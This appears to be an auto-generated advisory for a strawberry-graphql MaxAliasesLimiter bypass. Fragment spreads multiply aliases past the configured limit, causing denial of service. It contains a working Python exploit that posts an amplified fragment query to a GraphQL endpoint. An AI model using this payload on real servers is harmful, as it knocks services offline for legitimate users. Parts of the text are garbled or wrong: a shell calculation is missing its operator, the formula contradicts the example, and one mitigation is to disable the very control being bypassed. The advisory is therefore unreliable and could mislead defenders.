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This vulnerability resides in the `MaxAliasesLimiter` extension, a security control designed to mitigate resource exhaustion attacks. The root cause is a flaw in how the limiter performs its static analysis on a GraphQL document’s Abstract Syntax Tree (AST). Specifically, the limiter correctly counts user-defined aliases (e.g., a1: name) but fails to account for the amplification effect introduced by fragment spreads (...Amplification).
During its pre-execution analysis, the extension traverses the AST and counts aliases in a linear fashion. When it encounters a FragmentSpreadNode, it does not calculate the potential number of times that fragment will be resolved at runtime. The actual number of aliases processed by the execution engine follows this formula:
Total Aliases = query aliases + (num of spreads aliases within fragment).
An attacker can weaponize this by creating a fragment containing a large number of aliases. By using this fragment in a query multiple times (e.g., 10 spreads of a fragment with 10 aliases), the AST analysis counts only the top-level aliases, which might be under the configured limit (e.g., 20). However, the server’s execution engine will resolve each spread, leading to an exponential explosion of work (in this example, 100 aliases). By carefully adjusting the payload, the attacker can stay under the `max_alias_count` threshold while triggering thousands of actual resolution operations on the backend, leading to uncontrolled CPU and memory consumption and resulting in an application-level Denial of Service (DoS).
DailyCVE Form:
Platform: Python Package Index
Version: 0.172.0 → 0.315.6
Vulnerability : Resource Exhaustion
Severity: Medium
date: June 4, 2026
Prediction: November 30, 2026
Analytics under heading What Undercode Say:
Amplification Factor Calculation:
Calculate amplified aliases from PoC fragment_aliases=10; spreads=10; echo "Total Aliases = $((fragment_aliases spreads))"
Query Size vs. Processing Load:
Compare AST size (chars) to execution load ( of aliases) ast_size=$(wc -c < payload.json); echo "AST Size: $ast_size" Simulate processing load: 10 spreads 10 aliases = 100 operations echo "Processing Load: 100 operations vs AST size of ~500 bytes"
Exploit:
import httpx
Payload: 10 aliases in fragment 10 spreads = 100 processed aliases
MaxAliasesLimiter is configured with max_alias_count=20.
payload = {
"query": """
fragment Amplification on User {
a1: name, a2: name, a3: name, a4: name, a5: name,
a6: name, a7: name, a8: name, a9: name, a10: name
}
query Bypass {
u1: user { ...Amplification }
u2: user { ...Amplification }
u3: user { ...Amplification }
u4: user { ...Amplification }
u5: user { ...Amplification }
u6: user { ...Amplification }
u7: user { ...Amplification }
u8: user { ...Amplification }
u9: user { ...Amplification }
u10: user { ...Amplification }
}
"""
}
response = httpx.post("http://vulnerable-graphql-server:8000/graphql", json=payload)
print(response.json())
Protection:
- Patch: Immediately upgrade the `strawberry-graphql` package to version 0.315.7 or higher using
pip install --upgrade strawberry-graphql. - Mitigation: If patching is not immediately possible, disable the `MaxAliasesLimiter` extension in your configuration.
- Defense-in-Depth: Deploy a Web Application Firewall (WAF) or API Gateway to inspect and block incoming queries with high numbers of nested fragment spreads.
- Verification: After patching, conduct a security scan to ensure no remnants of vulnerable versions remain in your dependency tree.
Impact:
Successful exploitation allows an unauthenticated remote attacker to bypass a resource consumption control. By sending a single, carefully crafted HTTP request, the attacker can force the GraphQL server to execute a volume of work far exceeding its configured limits. This leads to excessive CPU usage and memory allocation, effectively causing a Denial of Service (DoS) for the application and making it unavailable to legitimate users. The attack vector is network-based, has a low attack complexity, and requires no user interaction or privileges, making it a potent vector for service disruption.
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Sources:
Reported By: github.com
Extra Source Hub:
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